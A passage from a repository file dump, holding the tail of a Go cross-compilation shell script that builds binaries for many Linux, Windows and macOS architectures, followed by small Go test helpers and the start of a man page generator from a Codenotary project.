\"$GOPATH_ROOT/$IMPORT_PATH/.hg\" ]; then\n        REPO_TYPE=\"hg\"\n      fi\n      IMPORT_PATH=`dirname $IMPORT_PATH`\n    done\n\n    if [ \"$REPO_TYPE\" == \"\" ]; then\n      echo \"Unknown version control system type, cannot switch remotes and branches.\"\n      exit -1\n    fi\n    # If we have a valid VCS, execute the switch operations\n    if [ \"$REPO_REMOTE\" != \"\" ]; then\n      echo \"Switching over to remote $REPO_REMOTE...\"\n      if [ \"$REPO_TYPE\" == \"git\" ]; then\n        git remote set-url origin $REPO_REMOTE\n        git fetch --all\n        git reset --hard origin/HEAD\n        git clean -dxf\n      elif [ \"$REPO_TYPE\" == \"hg\" ]; then\n        echo -e \"[paths]\\ndefault = $REPO_REMOTE\\n\" >> .hg/hgrc\n        hg pull\n      fi\n    fi\n    if [ \"$REPO_BRANCH\" != \"\" ]; then\n      echo \"Switching over to branch $REPO_BRANCH...\"\n      if [ \"$REPO_TYPE\" == \"git\" ]; then\n        git reset --hard origin/$REPO_BRANCH\n        git clean -dxf\n      elif [ \"$REPO_TYPE\" == \"hg\" ]; then\n        hg checkout $REPO_BRANCH\n      fi\n    fi\n  fi\nfi\n\n# Download all the C dependencies\nmkdir /deps\nDEPS=($DEPS) && for dep in \"${DEPS[@]}\"; do\n  if [ \"${dep##*.}\" == \"tar\" ]; then cat \"/deps-cache/`basename $dep`\" | tar -C /deps -x; fi\n  if [ \"${dep##*.}\" == \"gz\" ];  then cat \"/deps-cache/`basename $dep`\" | tar -C /deps -xz; fi\n  if [ \"${dep##*.}\" == \"bz2\" ]; then cat \"/deps-cache/`basename $dep`\" | tar -C /deps -xj; fi\ndone\n\nDEPS_ARGS=($ARGS)\n\n# Save the contents of the pre-build /usr/local folder for post cleanup\nUSR_LOCAL_CONTENTS=`ls /usr/local`\n\n# Configure some global build parameters\nNAME=`basename $1/$PACK`\n\n# Go module-based builds error with 'cannot find main module'\n# when $PACK is defined\nPACK_RELPATH=\"./$PACK\"\nif [[ \"$USEMODULES\" = true ]]; then\n  NAME=`sed -n 's/module\\ \\(.*\\)/\\1/p' /source/go.mod`\nfi\n\nif [ \"$OUT\" != \"\" ]; then\n  NAME=$OUT\nfi\n\nif [ \"$FLAG_V\" == \"true\" ];    then V=-v; fi\nif [ \"$FLAG_X\" == \"true\" ];    then X=-x; fi\nif [ \"$FLAG_RACE\" == \"true\" ]; then R=-race; fi\nif [ \"$FLAG_TAGS\" != \"\" ];     then T=(--tags \"$FLAG_TAGS\"); fi\nif [ \"$FLAG_LDFLAGS\" != \"\" ];  then LD=\"$FLAG_LDFLAGS\"; fi\n\nif [ \"$FLAG_BUILDMODE\" != \"\" ] && [ \"$FLAG_BUILDMODE\" != \"default\" ]; then BM=\"--buildmode=$FLAG_BUILDMODE\"; fi\nif [ \"$FLAG_MOD\" != \"\" ]; then MOD=\"--mod=$FLAG_MOD\"; fi\n\n# If no build targets were specified, inject a catch all wildcard\nif [ \"$TARGETS\" == \"\" ]; then\n  TARGETS=\"./.\"\nfi\n\n# Build for each requested platform individually\nfor TARGET in $TARGETS; do\n  # Split the target into platform and architecture\n  XGOOS=`echo $TARGET | cut -d '/' -f 1`\n  XGOARCH=`echo $TARGET | cut -d '/' -f 2`\n\n  # Check and build for Linux targets\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"amd64\" ]); then\n    echo \"Compiling for linux/amd64...\"\n    HOST=x86_64-linux PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n    if [[ \"$USEMODULES\" == false ]]; then\n      GOOS=linux GOARCH=amd64 CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n    fi\n    GOOS=linux GOARCH=amd64 CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $R $BM -o \"/build/$NAME-linux-amd64$R`extension linux`\" $PACK_RELPATH\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"386\" ]); then\n    echo \"Compiling for linux/386...\"\n    HOST=i686-linux PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n    if [[ \"$USEMODULES\" == false ]]; then\n      GOOS=linux GOARCH=386 CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n    fi\n    GOOS=linux GOARCH=386 CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-386`extension linux`\" $PACK_RELPATH\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"arm\" ] || [ $XGOARCH == \"arm-5\" ]); then\n    if [ \"$GO_VERSION\" -ge 150 ]; then\n      echo \"Bootstrapping linux/arm-5...\"\n      CC=arm-linux-gnueabi-gcc-6 GOOS=linux GOARCH=arm GOARM=5 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv5\" CGO_CXXFLAGS=\"-march=armv5\" go install std\n    fi\n    echo \"Compiling for linux/arm-5...\"\n    CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 HOST=arm-linux-gnueabi PREFIX=/usr/arm-linux-gnueabi CFLAGS=\"-march=armv5\" CXXFLAGS=\"-march=armv5\" $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n    export PKG_CONFIG_PATH=/usr/arm-linux-gnueabi/lib/pkgconfig\n\n    if [[ \"$USEMODULES\" == false ]]; then\n      CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=5 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv5\" CGO_CXXFLAGS=\"-march=armv5\" go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n    fi\n    CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=5 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv5\" CGO_CXXFLAGS=\"-march=armv5\" go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-arm-5`extension linux`\" $PACK_RELPATH\n    if [ \"$GO_VERSION\" -ge 150 ]; then\n      echo \"Cleaning up Go runtime for linux/arm-5...\"\n      rm -rf /usr/local/go/pkg/linux_arm\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"arm-6\" ]); then\n    if [ \"$GO_VERSION\" -lt 150 ]; then\n      echo \"Go version too low, skipping linux/arm-6...\"\n    else\n      echo \"Bootstrapping linux/arm-6...\"\n      CC=arm-linux-gnueabi-gcc-6 GOOS=linux GOARCH=arm GOARM=6 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv6\" CGO_CXXFLAGS=\"-march=armv6\" go install std\n\n      echo \"Compiling for linux/arm-6...\"\n      CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 HOST=arm-linux-gnueabi PREFIX=/usr/arm-linux-gnueabi CFLAGS=\"-march=armv6\" CXXFLAGS=\"-march=armv6\" $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/arm-linux-gnueabi/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=6 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv6\" CGO_CXXFLAGS=\"-march=armv6\" go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=arm-linux-gnueabi-gcc-6 CXX=arm-linux-gnueabi-g++-6 GOOS=linux GOARCH=arm GOARM=6 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv6\" CGO_CXXFLAGS=\"-march=armv6\" go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-arm-6`extension linux`\" $PACK_RELPATH\n\n      echo \"Cleaning up Go runtime for linux/arm-6...\"\n      rm -rf /usr/local/go/pkg/linux_arm\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"arm-7\" ]); then\n    if [ \"$GO_VERSION\" -lt 150 ]; then\n      echo \"Go version too low, skipping linux/arm-7...\"\n    else\n      echo \"Bootstrapping linux/arm-7...\"\n      CC=arm-linux-gnueabihf-gcc-6 GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv7-a\" CGO_CXXFLAGS=\"-march=armv7-a\" go install std\n\n      echo \"Compiling for linux/arm-7...\"\n      CC=arm-linux-gnueabihf-gcc-6 CXX=arm-linux-gnueabihf-g++-6 HOST=arm-linux-gnueabihf PREFIX=/usr/arm-linux-gnueabihf CFLAGS=\"-march=armv7-a -fPIC\" CXXFLAGS=\"-march=armv7-a -fPIC\" $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/arm-linux-gnueabihf/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=arm-linux-gnueabihf-gcc-6 CXX=arm-linux-gnueabihf-g++-6 GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv7-a -fPIC\" CGO_CXXFLAGS=\"-march=armv7-a -fPIC\" go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=arm-linux-gnueabihf-gcc-6 CXX=arm-linux-gnueabihf-g++-6 GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=1 CGO_CFLAGS=\"-march=armv7-a -fPIC\" CGO_CXXFLAGS=\"-march=armv7-a -fPIC\" go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-arm-7`extension linux`\" $PACK_RELPATH\n\n      echo \"Cleaning up Go runtime for linux/arm-7...\"\n      rm -rf /usr/local/go/pkg/linux_arm\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"arm64\" ]); then\n    if [ \"$GO_VERSION\" -lt 150 ]; then\n      echo \"Go version too low, skipping linux/arm64...\"\n    else\n      echo \"Compiling for linux/arm64...\"\n      CC=aarch64-linux-gnu-gcc-6 CXX=aarch64-linux-gnu-g++-6 HOST=aarch64-linux-gnu PREFIX=/usr/aarch64-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/aarch64-linux-gnu/lib/pkgconfig\n\n       if [[ \"$USEMODULES\" == false ]]; then\n        CC=aarch64-linux-gnu-gcc-6 CXX=aarch64-linux-gnu-g++-6 GOOS=linux GOARCH=arm64 CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=aarch64-linux-gnu-gcc-6 CXX=aarch64-linux-gnu-g++-6 GOOS=linux GOARCH=arm64 CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-arm64`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"mips64\" ]); then\n    if [ \"$GO_VERSION\" -lt 170 ]; then\n      echo \"Go version too low, skipping linux/mips64...\"\n    else\n      echo \"Compiling for linux/mips64...\"\n      CC=mips64-linux-gnuabi64-gcc-6 CXX=mips64-linux-gnuabi64-g++-6 HOST=mips64-linux-gnuabi64 PREFIX=/usr/mips64-linux-gnuabi64 $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/mips64-linux-gnuabi64/lib/pkgconfig\n\n            if [[ \"$USEMODULES\" == false ]]; then\n        CC=mips64-linux-gnuabi64-gcc-6 CXX=mips64-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64 CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=mips64-linux-gnuabi64-gcc-6 CXX=mips64-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64 CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-mips64`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"mips64le\" ]); then\n    if [ \"$GO_VERSION\" -lt 170 ]; then\n      echo \"Go version too low, skipping linux/mips64le...\"\n    else\n      echo \"Compiling for linux/mips64le...\"\n      CC=mips64el-linux-gnuabi64-gcc-6 CXX=mips64el-linux-gnuabi64-g++-6 HOST=mips64el-linux-gnuabi64 PREFIX=/usr/mips64el-linux-gnuabi64 $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/mips64le-linux-gnuabi64/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=mips64el-linux-gnuabi64-gcc-6 CXX=mips64el-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64le CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=mips64el-linux-gnuabi64-gcc-6 CXX=mips64el-linux-gnuabi64-g++-6 GOOS=linux GOARCH=mips64le CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-mips64le`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"mips\" ]); then\n    if [ \"$GO_VERSION\" -lt 180 ]; then\n      echo \"Go version too low, skipping linux/mips...\"\n    else\n      echo \"Compiling for linux/mips...\"\n      CC=mips-linux-gnu-gcc-6 CXX=mips-linux-gnu-g++-6 HOST=mips-linux-gnu PREFIX=/usr/mips-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/mips-linux-gnu/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=mips-linux-gnu-gcc-6 CXX=mips-linux-gnu-g++-6 GOOS=linux GOARCH=mips CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=mips-linux-gnu-gcc-6 CXX=mips-linux-gnu-g++-6 GOOS=linux GOARCH=mips CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-mips`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"mipsle\" ]); then\n    if [ \"$GO_VERSION\" -lt 180 ]; then\n      echo \"Go version too low, skipping linux/mipsle...\"\n    else\n      echo \"Compiling for linux/mipsle...\"\n      CC=mipsel-linux-gnu-gcc-6 CXX=mipsel-linux-gnu-g++-6 HOST=mipsel-linux-gnu PREFIX=/usr/mipsel-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/mipsle-linux-gnu/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=mipsel-linux-gnu-gcc-6 CXX=mipsel-linux-gnu-g++-6 GOOS=linux GOARCH=mipsle CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=mipsel-linux-gnu-gcc-6 CXX=mipsel-linux-gnu-g++-6 GOOS=linux GOARCH=mipsle CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-mipsle`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"s390x\" ]); then\n    if [ \"$GO_VERSION\" -lt 170 ]; then\n      echo \"Go version too low, skipping linux/s390x...\"\n    else\n      echo \"Compiling for linux/s390x...\"\n      CC=s390x-linux-gnu-gcc-6 CXX=s390x-linux-gnu-g++-6 HOST=s390x-linux-gnu PREFIX=/usr/s390x-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/s390x-linux-gnu/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=s390x-linux-gnu-gcc-6 CXX=s390x-linux-gnu-g++-6 GOOS=linux GOARCH=s390x CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=s390x-linux-gnu-gcc-6 CXX=s390x-linux-gnu-g++-6 GOOS=linux GOARCH=s390x CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-s390x`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  # Check and build for Windows targets\n  if ([ $XGOOS == \".\" ] || [ $XGOOS == \"linux\" ]) && ([ $XGOARCH == \".\" ] || [ $XGOARCH == \"ppc64le\" ]); then\n    if [ \"$GO_VERSION\" -lt 170 ]; then\n      echo \"Go version too low, skipping linux/powerpc64le...\"\n    else\n      echo \"Compiling for linux/ppc64le...\"\n      CC=powerpc64le-linux-gnu-gcc-6 CXX=powerpc64le-linux-gnu-g++-6 HOST=ppc64le-linux-gnu PREFIX=/usr/ppc64le-linux-gnu $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/ppc64le-linux-gnu/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=powerpc64le-linux-gnu-gcc-6 CXX=powerpc64le-linux-gnu-g++-6 GOOS=linux GOARCH=ppc64le CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=powerpc64le-linux-gnu-gcc-6 CXX=powerpc64le-linux-gnu-g++-6 GOOS=linux GOARCH=ppc64le CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-linux-ppc64le`extension linux`\" $PACK_RELPATH\n    fi\n  fi\n  if [ $XGOOS == \".\" ] || [[ $XGOOS == windows* ]]; then\n    # Split the platform version and configure the Windows NT version\n    PLATFORM=`echo $XGOOS | cut -d '-' -f 2`\n    if [ \"$PLATFORM\" == \"\" ] || [ \"$PLATFORM\" == \".\" ] || [ \"$PLATFORM\" == \"windows\" ]; then\n      PLATFORM=4.0 # Windows NT\n    fi\n\n    MAJOR=`echo $PLATFORM | cut -d '.' -f 1`\n    if [ \"${PLATFORM/.}\" != \"$PLATFORM\" ] ; then\n      MINOR=`echo $PLATFORM | cut -d '.' -f 2`\n    fi\n    CGO_NTDEF=\"-D_WIN32_WINNT=0x`printf \"%02d\" $MAJOR``printf \"%02d\" $MINOR`\"\n\n    # Build the requested windows binaries\n    if [ $XGOARCH == \".\" ] || [ $XGOARCH == \"amd64\" ]; then\n      echo \"Compiling for windows-$PLATFORM/amd64...\"\n      CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix HOST=x86_64-w64-mingw32 PREFIX=/usr/x86_64-w64-mingw32 $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/x86_64-w64-mingw32/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CGO_CFLAGS=\"$CGO_NTDEF\" CGO_CXXFLAGS=\"$CGO_NTDEF\" go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=x86_64-w64-mingw32-gcc-posix CXX=x86_64-w64-mingw32-g++-posix GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CGO_CFLAGS=\"$CGO_NTDEF\" CGO_CXXFLAGS=\"$CGO_NTDEF\" go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $R $BM -o \"/build/$NAME-windows-$PLATFORM-amd64$R`extension windows`\" $PACK_RELPATH\n    fi\n    if [ $XGOARCH == \".\" ] || [ $XGOARCH == \"386\" ]; then\n      echo \"Compiling for windows-$PLATFORM/386...\"\n      CC=i686-w64-mingw32-gcc-posix CXX=i686-w64-mingw32-g++-posix HOST=i686-w64-mingw32 PREFIX=/usr/i686-w64-mingw32 $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      export PKG_CONFIG_PATH=/usr/i686-w64-mingw32/lib/pkgconfig\n\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=i686-w64-mingw32-gcc-posix CXX=i686-w64-mingw32-g++-posix GOOS=windows GOARCH=386 CGO_ENABLED=1 CGO_CFLAGS=\"$CGO_NTDEF\" CGO_CXXFLAGS=\"$CGO_NTDEF\" go get $V $X \"${T[@]}\" --ldflags=\"$V $LD\" -d $PACK_RELPATH\n      fi\n      CC=i686-w64-mingw32-gcc-posix CXX=i686-w64-mingw32-g++-posix GOOS=windows GOARCH=386 CGO_ENABLED=1 CGO_CFLAGS=\"$CGO_NTDEF\" CGO_CXXFLAGS=\"$CGO_NTDEF\" go build $V $X $MOD \"${T[@]}\" --ldflags=\"$V $LD\" $BM -o \"/build/$NAME-windows-$PLATFORM-386`extension windows`\" $PACK_RELPATH\n    fi\n  fi\n  # Check and build for OSX targets\n  if [ $XGOOS == \".\" ] || [[ $XGOOS == darwin* ]]; then\n    # Split the platform version and configure the deployment target\n    PLATFORM=`echo $XGOOS | cut -d '-' -f 2`\n    if [ \"$PLATFORM\" == \"\" ] || [ \"$PLATFORM\" == \".\" ] || [ \"$PLATFORM\" == \"darwin\" ]; then\n      PLATFORM=10.6 # OS X Snow Leopard\n    fi\n    export MACOSX_DEPLOYMENT_TARGET=$PLATFORM\n\n    # Strip symbol table below Go 1.6 to prevent DWARF issues\n    LDSTRIP=\"\"\n    if [ \"$GO_VERSION\" -lt 160 ]; then\n      LDSTRIP=\"-s\"\n    fi\n    # Build the requested darwin binaries\n    if [ $XGOARCH == \".\" ] || [ $XGOARCH == \"amd64\" ]; then\n      echo \"Compiling for darwin-$PLATFORM/amd64...\"\n      CC=o64-clang CXX=o64-clang++ HOST=x86_64-apple-darwin15 PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=o64-clang CXX=o64-clang++ GOOS=darwin GOARCH=amd64 CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$LDSTRIP $V $LD\" -d $PACK_RELPATH\n      fi\n      CC=o64-clang CXX=o64-clang++ GOOS=darwin GOARCH=amd64 CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$LDSTRIP $V $LD\" $R $BM -o \"/build/$NAME-darwin-$PLATFORM-amd64$R`extension darwin`\" $PACK_RELPATH\n    fi\n    if [ $XGOARCH == \".\" ] || [ $XGOARCH == \"386\" ]; then\n      echo \"Compiling for darwin-$PLATFORM/386...\"\n      CC=o32-clang CXX=o32-clang++ HOST=i386-apple-darwin15 PREFIX=/usr/local $BUILD_DEPS /deps ${DEPS_ARGS[@]}\n      if [[ \"$USEMODULES\" == false ]]; then\n        CC=o32-clang CXX=o32-clang++ GOOS=darwin GOARCH=386 CGO_ENABLED=1 go get $V $X \"${T[@]}\" --ldflags=\"$LDSTRIP $V $LD\" -d $PACK_RELPATH\n      fi\n      CC=o32-clang CXX=o32-clang++ GOOS=darwin GOARCH=386 CGO_ENABLED=1 go build $V $X $MOD \"${T[@]}\" --ldflags=\"$LDSTRIP $V $LD\" $BM -o \"/build/$NAME-darwin-$PLATFORM-386`extension darwin`\" $PACK_RELPATH\n    fi\n    # Remove any automatically injected deployment target vars\n    unset MACOSX_DEPLOYMENT_TARGET\n  fi\ndone\n\n# Clean up any leftovers for subsequent build invocations\necho \"Cleaning up build environment...\"\nrm -rf /deps\n\nfor dir in `ls /usr/local`; do\n  keep=0\n\n  # Check against original folder contents\n  for old in $USR_LOCAL_CONTENTS; do\n    if [ \"$old\" == \"$dir\" ]; then\n      keep=1\n    fi\n  done\n  # Delete anything freshly generated\n  if [ \"$keep\" == \"0\" ]; then\n    rm -rf \"/usr/local/$dir\"\n  fi\ndone\n\n# Preserve parent folder permissions\necho $(ls /build -lrta)\ncp -R /build/* /dist\nchown -R $(stat -c '%u:%g' /dist) /dist\n"
  },
  {
    "path": "cmd/cmdtest/random.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cmdtest\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\nvar letters = []rune(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n\nfunc RandString() string {\n\trand.Seed(time.Now().UnixNano())\n\tb := make([]rune, 10)\n\tfor i := range b {\n\t\tb[i] = letters[rand.Intn(len(letters))]\n\t}\n\treturn string(b)\n}\n"
  },
  {
    "path": "cmd/cmdtest/stdout_collector.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package cmdtest ...\npackage cmdtest\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"os\"\n)\n\n// StdOutCollector ...\ntype StdOutCollector struct {\n\tCaptureStderr    bool\n\trealStdOut       *os.File\n\tfakeStdOutReader *os.File\n\tfakeStdOutWriter *os.File\n}\n\n// Start ...\nfunc (c *StdOutCollector) Start() error {\n\t// keep backup of the real stdout/stderr\n\tif !c.CaptureStderr {\n\t\tc.realStdOut = os.Stdout\n\t} else {\n\t\tc.realStdOut = os.Stderr\n\t}\n\tvar err error\n\tc.fakeStdOutReader, c.fakeStdOutWriter, err = os.Pipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !c.CaptureStderr {\n\t\tos.Stdout = c.fakeStdOutWriter\n\t} else {\n\t\tos.Stderr = c.fakeStdOutWriter\n\t}\n\treturn nil\n}\n\n// Stop ...\nfunc (c *StdOutCollector) Stop() (string, error) {\n\toutC := make(chan string)\n\toutErr := make(chan error)\n\t// copy the output in a separate goroutine so printing can't block indefinitely\n\tgo func() {\n\t\tvar buf bytes.Buffer\n\t\t_, err := io.Copy(&buf, c.fakeStdOutReader)\n\t\tif err != nil {\n\t\t\toutErr <- err\n\t\t}\n\t\toutC <- buf.String()\n\t}()\n\n\t// back to normal state\n\tc.fakeStdOutWriter.Close()\n\t// restore the real stdout/stderr\n\tif !c.CaptureStderr {\n\t\tos.Stdout = c.realStdOut\n\t} else {\n\t\tos.Stderr = c.realStdOut\n\t}\n\tselect {\n\tcase out := <-outC:\n\t\treturn out, nil\n\tcase err := <-outErr:\n\t\treturn \"\", err\n\t}\n}\n"
  },
  {
    "path": "cmd/docs/man/generate.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage man\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/cobra/doc\"\n)\n\n// Generate return command that generates man files for a specified command\nfunc Generate(cmd *cobra.Command, title string, defaultDir string) *cobra.Command {\n\tcmd.DisableAutoGenTag = false\n\treturn &cobra.Command{\n\t\tUse:    \"mangen [dir]\",\n\t\tShort:  \"Generate man files in the specified directory\",\n\t\tHidden: true,\n\t\tArgs:   cobra.MinimumNArgs(0),\n\t\tRunE: func(mangenCmd *cobra.Command, args []string) (err error) {\n\t\t\theader := &doc.GenManHeader{\n\t\t\t\tTitle:   